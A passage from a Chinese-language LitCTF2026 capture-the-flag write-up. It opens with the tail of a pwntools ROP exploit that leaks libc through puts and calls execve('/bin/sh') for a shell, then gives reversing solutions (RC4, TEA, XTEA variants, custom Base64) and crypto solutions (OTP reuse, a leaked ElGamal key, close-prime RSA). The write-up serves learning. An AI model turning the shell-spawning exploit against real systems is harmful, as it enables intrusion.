stage1 = flat(
    b&apos;a&apos;*0x40,
    p64(fake_rbp),
    p64(ret),
    p64(pop_rdi),
    elf.got[&quot;puts&quot;],
    p64(leak),
    p64(read_setup)
)
p.sendlineafter(&quot;Tell me your name: &quot;,stage1)
p.recvuntil(b&apos;0x&apos;)
puts=int(p.recv(12),16)
log.info(&quot;puts:&quot;+hex(puts))

libc_base=puts-libc.sym[&quot;puts&quot;]
execve=libc_base+libc.sym[&quot;execve&quot;]
pop_rsi=libc_base+0x2be51
pop_rdx_r12=libc_base+0x11f367
ret2=libc_base+0x29139
log.info(hex(libc_base))
log.info(hex(execve))

binsh=bss+0x100
argv=bss+0x120

payload=bytearray(b&apos;\x00&apos;*0x180)
payload[0x100:0x108]=b&apos;/bin/sh\x00&apos;
payload[0x120:0x130]=flat(p64(binsh),p64(0))
rop=flat(
    p64(ret2),
    p64(pop_rdi),p64(binsh),
    p64(pop_rsi),p64(argv),
    p64(pop_rdx_r12),p64(0),p64(0),
    p64(execve)
)
payload[0x40:0x48]=p64(0)
payload[0x48:0x48+len(rop)]=rop
p.send(bytes(payload))

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Reverse&lt;/h1&gt;
&lt;h2&gt;lit_rc4_variant&lt;/h2&gt;
&lt;p&gt;程序拖入IDA，找到main函数，输入长度要求29&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;把输入复制到加密缓冲&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密缓冲约定&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KSA 第一阶段：`S[i] = i` 和 `K[i] = key[i % 12]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KSA 第二阶段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PRGA + XOR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总结这套魔改算法（&lt;code&gt;encrypt\(input\)&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;S[64] = 0..63
K[i]  = key[i % len(key)]            for i in 0..63
j = 0
for i in 0..63:
    j = (j + S[i] + K[i]) mod 64
    swap(S[i], S[j])                 # 标准 KSA，但模 64 而不是 256

i = j = 0
for each byte b of plaintext:
    i = (i + 1) mod 64
    j = (j + S[i]) mod 64
    t = (S[i] + S[j]) mod 64         # ← 这里是 mod 64！
    swap(S[i], S[j])
    ks = (S[i] + S[t]) mod 256       # ← 输出是 “两个 S 项相加”，不是 S[(S[i]+S[j])&amp;amp;0xFF]
    cipher_byte = b ^ ks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;比对密文&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key = b&quot;lit_rc4_key!&quot;
ct = bytes([0x7b,0x3d,0x38,0x77,0x4e,0x72,0x42,0x7d,0x45,0x37,0x76,0x0f,
            0x53,0x53,0x4f,0x66,0x37,0x17,0x75,0x37,0x5f,0x49,0x58,0x72,
            0x74,0x7f,0x79,0x1f,0x3a])

S = list(range(64))
K = [key[i % len(key)] for i in range(64)]

j = 0
for i in range(64):
    j = (j + S[i] + K[i]) % 64
    S[i], S[j] = S[j], S[i]

i = j = 0
out = bytearray()
for c in ct:
    i = (i + 1) % 64
    s_i_old = S[i]
    j = (j + s_i_old) % 64
    s_j_old = S[j]
    t = (s_i_old + s_j_old) % 64
    # swap
    S[i], S[j] = S[j], S[i]
    # keystream = S[i]_new + S[t]   where S[t] uses post-swap state
    K_byte = (S[i] + S[t]) &amp;amp; 0xFF
    out.append(c ^ K_byte)

print(&quot;Plaintext:&quot;, out)
try:
    print(&quot;Decoded:&quot;, out.decode())
except UnicodeDecodeError:
    print(&quot;Not pure ASCII&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev05_rc4_variant_64!}&lt;/p&gt;
&lt;h2&gt;lit_tea_standard&lt;/h2&gt;
&lt;p&gt;main函数如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;p&gt;几个关键点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;明文长度：填充后 v7 == 32，意味着原 flag 长度落在 25..31（含 31，但 31 时填一个 \x01，长度则达到 32）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;轮数 / delta：循环条件 i != -957401312 即 i != 0xC6EF3720，恰好等于 32 * 0x9E3779B9，标准 TEA 32 轮。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;密钥：把 + 形式里出现的负常量按无符号还原&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;16 * v 在 TEA 里就是 v &amp;amp;lt;&amp;amp;lt; 4，对应分支：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;v1 += ((v0 &amp;amp;lt;&amp;amp;lt; 4) + k0) ^ (v0 + sum) ^ ((v0 &amp;amp;gt;&amp;amp;gt; 5) + k1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;v0 += ((v1 &amp;amp;lt;&amp;amp;lt; 4) + k2) ^ (v1 + sum) ^ ((v1 &amp;amp;gt;&amp;amp;gt; 5) + k3)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;再看一眼密文 g_cipher（位于 .rdata: 0x140012040，32 字节）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

ct = bytes.fromhex(
      &quot;edef21feb79b3cb0&quot;
      &quot;1e9372e2023e29bc&quot;
      &quot;36f70c922e5aae46&quot;
      &quot;44fa45251ae58c87&quot;
  )

k0, k1, k2, k3 = 0xCAFEBABE, 0xDEADBEEF, 0xA11CEFAC, 0xB00B1E00
delta = 0x9E3779B9
M = 0xFFFFFFFF

def decrypt_block(v0, v1):
      s = (32 * delta) &amp;amp; M
      for _ in range(32):
          v1 = (v1 - ((((v0 &amp;lt;&amp;lt; 4) + k0) ^ (v0 + s) ^ ((v0 &amp;gt;&amp;gt; 5) + k1))) ) &amp;amp; M
          v0 = (v0 - ((((v1 &amp;lt;&amp;lt; 4) + k2) ^ (v1 + s) ^ ((v1 &amp;gt;&amp;gt; 5) + k3))) ) &amp;amp; M
          s  = (s - delta) &amp;amp; M
      return v0, v1

pt = b&quot;&quot;
for i in range(0, len(ct), 8):
      v0, v1 = struct.unpack(&quot;&amp;lt;II&quot;, ct[i:i+8])
      p0, p1 = decrypt_block(v0, v1)
      pt += struct.pack(&quot;&amp;lt;II&quot;, p0, p1)

pad = pt[-1]
print(pt[:-pad].decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev03_tea_standard!!}&lt;/p&gt;
&lt;h2&gt;lit_b64_alphabet&lt;/h2&gt;
&lt;p&gt;IDA打开程序，逻辑全在main函数，就是一个换了字母表的Base64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;每 3 字节 -&amp;amp;gt; 24 bit -&amp;amp;gt; 拆 4 段 6 bit -&amp;amp;gt; 查表 &lt;code&gt;g\_alphabet&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;末尾不足 3 字节用 &lt;code&gt;=&lt;/code&gt; 补齐&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编码结果与 &lt;code&gt;g\_expected&lt;/code&gt; 直接 &lt;code&gt;strcmp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;字母表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密文比对加判断&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

# 0x140012080: 自定义 Base64 字母表
CUSTOM_ALPHABET = &quot;2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI&quot;

# RFC 4648 标准 Base64 字母表
STD_ALPHABET = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;

# 0x140012040: 程序内嵌的期望密文
EXPECTED = &quot;zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==&quot;

def solve(ciphertext: str) -&amp;gt; str:
    assert len(CUSTOM_ALPHABET) == 64 and len(set(CUSTOM_ALPHABET)) == 64
    trans = str.maketrans(CUSTOM_ALPHABET, STD_ALPHABET)
    mapped = ciphertext.translate(trans)
    return base64.b64decode(mapped).decode()

if __name__ == &quot;__main__&quot;:
    flag = solve(EXPECTED)
    print(&quot;[+] mapped :&quot;, EXPECTED.translate(str.maketrans(CUSTOM_ALPHABET, STD_ALPHABET)))
    print(&quot;[+] flag   :&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev02_custom_b64_table!}&lt;/p&gt;
&lt;h2&gt;lit_xor_chain&lt;/h2&gt;
&lt;p&gt;main函数如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-50.png&quot; alt=&quot;Figure 50&quot; /&gt;&lt;/p&gt;
&lt;p&gt;逻辑非常直白：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;读入 30 字节字符串。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对每个字节先 &lt;code&gt;xor 0x52&lt;/code&gt;，再 &lt;code&gt;\+ 5&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;与 &lt;code&gt;g\_expected&lt;/code&gt; 数组逐字节比较。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-51.png&quot; alt=&quot;Figure 51&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;expected = bytes([
    0x23, 0x40, 0x2B, 0x16, 0x0B, 0x19, 0x2E, 0x25,
    0x3C, 0x29, 0x67, 0x68, 0x12, 0x2F, 0x42, 0x25,
    0x12, 0x2B, 0x3F, 0x3C, 0x41, 0x12, 0x38, 0x3B,
    0x3B, 0x12, 0x42, 0x3E, 0x78, 0x34,
])

flag = bytes(((b - 5) &amp;amp; 0xFF) ^ 0x52 for b in expected)
print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev01_xor_then_add_ok!}&lt;/p&gt;
&lt;h2&gt;lit_xtea_tweak&lt;/h2&gt;
&lt;p&gt;输入先8字节对齐&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-52.png&quot; alt=&quot;Figure 52&quot; /&gt;&lt;/p&gt;
&lt;p&gt;PKC#7风格填充&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-53.png&quot; alt=&quot;Figure 53&quot; /&gt;&lt;/p&gt;
&lt;p&gt;明文长度32&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-54.png&quot; alt=&quot;Figure 54&quot; /&gt;&lt;/p&gt;
&lt;p&gt;魔改的xtea算法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;4 × 32-bit 子密钥 &lt;code&gt;g\_key&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;64-bit 块,32 轮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但常量 &lt;code&gt;delta&lt;/code&gt; 被换成了 &lt;code&gt;0xDEADBEEF&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;559038737 == 0x21524111 == \-0xDEADBEEF \(mod 2^32\)&lt;/code&gt;,所以 &lt;code&gt;i \-= 559038737&lt;/code&gt; 即 &lt;code&gt;i \+= 0xDEADBEEF&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;终止值 &lt;code&gt;\-709370400 == 0xD5C593E0 == \(0xDEADBEEF \* 32\) \&amp;amp;amp; 0xFFFFFFFF&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-55.png&quot; alt=&quot;Figure 55&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用到的数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-56.png&quot; alt=&quot;Figure 56&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

CIPHER = bytes([
    0xE3, 0xEE, 0x1E, 0xE7, 0xD3, 0xA7, 0x96, 0x6F,
    0xC6, 0xA7, 0xB9, 0xE1, 0xB9, 0x4E, 0x67, 0x86,
    0x5F, 0x03, 0x04, 0xA6, 0xDB, 0xBB, 0xB9, 0x40,
    0x56, 0x3A, 0xF7, 0x9E, 0xEE, 0x64, 0xD4, 0x06,
])

KEY = [0x11111111, 0x22222222, 0x33333333, 0x44444444]

DELTA  = 0xDEADBEEF
ROUNDS = 32
MASK   = 0xFFFFFFFF

def xtea_decrypt_block(v0: int, v1: int, key, rounds=ROUNDS, delta=DELTA):

    s = (delta * rounds) &amp;amp; MASK
    for _ in range(rounds):
        v1 = (v1 - ((((v0 &amp;lt;&amp;lt; 4) ^ (v0 &amp;gt;&amp;gt; 5)) + v0) &amp;amp; MASK ^ (s + key[(s &amp;gt;&amp;gt; 11) &amp;amp; 3]) &amp;amp; MASK)) &amp;amp; MASK
        s  = (s - delta) &amp;amp; MASK
        v0 = (v0 - ((((v1 &amp;lt;&amp;lt; 4) ^ (v1 &amp;gt;&amp;gt; 5)) + v1) &amp;amp; MASK ^ (s + key[s &amp;amp; 3]) &amp;amp; MASK)) &amp;amp; MASK
    return v0, v1

def main():
    plain = b&quot;&quot;
    for i in range(0, len(CIPHER), 8):
        a, b = struct.unpack(&quot;&amp;lt;II&quot;, CIPHER[i:i+8])
        a, b = xtea_decrypt_block(a, b, KEY)
        plain += struct.pack(&quot;&amp;lt;II&quot;, a, b)

    pad = plain[-1]
    if 1 &amp;lt;= pad &amp;lt;= 8 and plain.endswith(bytes([pad]) * pad):
        plain = plain[:-pad]

    print(&quot;flag:&quot;, plain.decode())

if __name__ == &quot;__main__&quot;:
    main()


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev04_xtea_delta_twk!}&lt;/p&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;lit_xor_two_story&lt;/h2&gt;
&lt;p&gt;题目原件是一个py脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — One-time pad reused for two messages (40 bytes each).

Players receive output.txt and README; they do not receive secret.py.
&quot;&quot;&quot;
from __future__ import annotations

import argparse
import os
from pathlib import Path

try:
    from secret import M1_FLAG
except ImportError:
    raise SystemExit(
        &quot;secret.py (organizer) is required to generate ciphertext; &quot;
        &quot;players work from output.txt only.&quot;
    )

# Public second message — duplicated in README for contestants.
M2_KNOWN = b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;

assert len(M1_FLAG) == len(M2_KNOWN) == 40


def xor_bytes(a: bytes, b: bytes) -&amp;gt; bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write hex lines to file.&quot;,
    )
    args = parser.parse_args()

    n = len(M1_FLAG)
    k = os.urandom(n)
    c1 = xor_bytes(M1_FLAG, k)
    c2 = xor_bytes(M2_KNOWN, k)

    lines = [
        f&quot;c1 = {c1.hex()}&quot;,
        f&quot;c2 = {c2.hex()}&quot;,
        f&quot;len = {n}&quot;,
    ]
    text = &quot;\n&quot;.join(lines) + &quot;\n&quot;
    print(text, end=&quot;&quot;)
    if args.write:
        args.write.write_text(text, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
# c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474
# len = 40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;M2_KNOWN = b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;   # 40 字节，已公开
assert len(M1_FLAG) == len(M2_KNOWN) == 40

n = len(M1_FLAG)
k = os.urandom(n)               # 随机密钥
c1 = xor_bytes(M1_FLAG, k)      # 加密 flag
c2 = xor_bytes(M2_KNOWN, k)     # 用同一把 k 加密公开消息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474
len = 40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键点：&lt;strong&gt;同一把一次性密钥 `k` 被用于两条消息&lt;/strong&gt;，且其中一条 `M2` 完全已知。这是经典的 OTP key‑reuse（two‑time pad）漏洞。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;求解脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c1 = bytes.fromhex(&quot;5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28&quot;)
c2 = bytes.fromhex(&quot;5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474&quot;)
m2 = b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;

flag = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))
print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-57.png&quot; alt=&quot;Figure 57&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{otp_reuse_never_twice_same_key__}&lt;/p&gt;
&lt;h2&gt;lit_elgamal_handshake&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — ElGamal handshake (story)
Someone left debug logging on; the private exponent x was printed alongside ciphertext.
&quot;&quot;&quot;
from __future__ import annotations

import argparse
from pathlib import Path
from random import randrange

from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange

try:
    from secret import FLAG
except ImportError as e:
    raise SystemExit(&quot;secret.py (FLAG) is required to encrypt.&quot;) from e


def generate_elgamal_keypair(bits: int = 512) -&amp;gt; tuple[int, int, int, int]:
    p = getPrime(bits)
    for _ in range(1000):
        g = getRandomRange(2, min(6, p - 1))
        if pow(g, (p - 1) // 2, p) != 1:
            break
    else:
        raise RuntimeError(&quot;could not find suitable g&quot;)
    x = randrange(2, p - 1)
    y = pow(g, x, p)
    return p, g, y, x


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write captured output to this file (for organizers).&quot;,
    )
    args = parser.parse_args()

    p, g, y, x = generate_elgamal_keypair(bits=512)
    k = randrange(1, p - 2)
    m = bytes_to_long(FLAG)
    if m &amp;gt;= p:
        raise ValueError(&quot;flag too large for chosen p — shorten FLAG&quot;)

    c1 = pow(g, k, p)
    c2 = (m * pow(y, k, p)) % p

    lines = [
        &quot;=== Public key (p, g, y) ===&quot;,
        f&quot;p = {p}&quot;,
        f&quot;g = {g}&quot;,
        f&quot;y = {y}&quot;,
        &quot;&quot;,
        &quot;=== Ciphertext (c1, c2) ===&quot;,
        f&quot;c1 = {c1}&quot;,
        f&quot;c2 = {c2}&quot;,
        &quot;&quot;,
        &quot;# [DEBUG] prod accidentally logged the long-term secret:&quot;,
        f&quot;x = {x}&quot;,
    ]
    text = &quot;\n&quot;.join(lines) + &quot;\n&quot;
    print(text, end=&quot;&quot;)
    if args.write:
        args.write.write_text(text, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# === Public key (p, g, y) ===
# p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
# g = 3
# y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357

# === Ciphertext (c1, c2) ===
# c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
# c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654

# # [DEBUG] prod accidentally logged the long-term secret:
# x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目实现了一个标准的 ElGamal 加密方案，但在调试输出中&amp;amp;#34;意外地&amp;amp;#34;打印了长期私钥 &lt;code&gt;x&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;公开参数&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g = 3
y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;密文&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;泄漏的私钥&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;ElGamal 回顾&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;加密过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;选取随机数 &lt;code&gt;k&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;c1 = g^k mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;c2 = m · y^k mod p&lt;/code&gt;，其中 &lt;code&gt;y = g^x mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;解密过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;共享秘密 &lt;code&gt;s = c1^x mod p = g^\(kx\) mod p = y^k mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;明文 &lt;code&gt;m = c2 · s^\(\-1\) mod p&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes

p  = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
g  = 3
y  = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x  = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

s = pow(c1, x, p)
m = (c2 * pow(s, -1, p)) % p
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-58.png&quot; alt=&quot;Figure 58&quot; /&gt;&lt;/p&gt;
&lt;p&gt;litctf{elgamal_leak_makes_happy_decrypt}&lt;/p&gt;
&lt;h2&gt;lit_rsa_neighbor&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
LitCTF2026 — RSA where q is &apos;far&apos; along the prime line but still close enough to p for Fermat.
&quot;&quot;&quot;
from __future__ import annotations

import argparse
from pathlib import Path

import gmpy2
from Crypto.Util.number import bytes_to_long, getPrime

try:
    from secret import FLAG, NEXT_PRIME_STEPS
except ImportError as e:
    raise SystemExit(
        &quot;secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS).&quot;
    ) from e

E = 65537


def main() -&amp;gt; None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        &quot;--write&quot;,
        type=Path,
        help=&quot;Write n, c to this file.&quot;,
    )
    args = parser.parse_args()

    p = getPrime(512)
    q = p
    for _ in range(NEXT_PRIME_STEPS):
        q = int(gmpy2.next_prime(q))

    n = p * q
    m = bytes_to_long(FLAG)
    if m &amp;gt;= n:
        raise ValueError(&quot;flag too large for n&quot;)

    c = pow(m, E, n)

    lines_players = [f&quot;{n = }&quot;, f&quot;{c = }&quot;, f&quot;e = {E}&quot;]
    text = &quot;\n&quot;.join(lines_players) + &quot;\n&quot;
    print(text, end=&quot;&quot;)
    if args.write:
        args.write.write_text(text, encoding=&quot;utf-8&quot;)


if __name__ == &quot;__main__&quot;:
    main()

# n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
# c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
# e = 65537
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目源码核心逻辑:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = getPrime(512)
q = p
for _ in range(NEXT_PRIME_STEPS):
    q = int(gmpy2.next_prime(q))

n = p * q
c = pow(m, E, n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;q&lt;/code&gt; 是从 &lt;code&gt;p&lt;/code&gt; 开始连续调用 &lt;code&gt;next\_prime&lt;/code&gt; 若干次得到的,因此 &lt;code&gt;p&lt;/code&gt; 和 &lt;code&gt;q&lt;/code&gt; 非常接近(只差几个素数间隙)。&lt;/p&gt;
&lt;p&gt;给定数据:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解题思路&lt;/strong&gt;&lt;/p&gt;
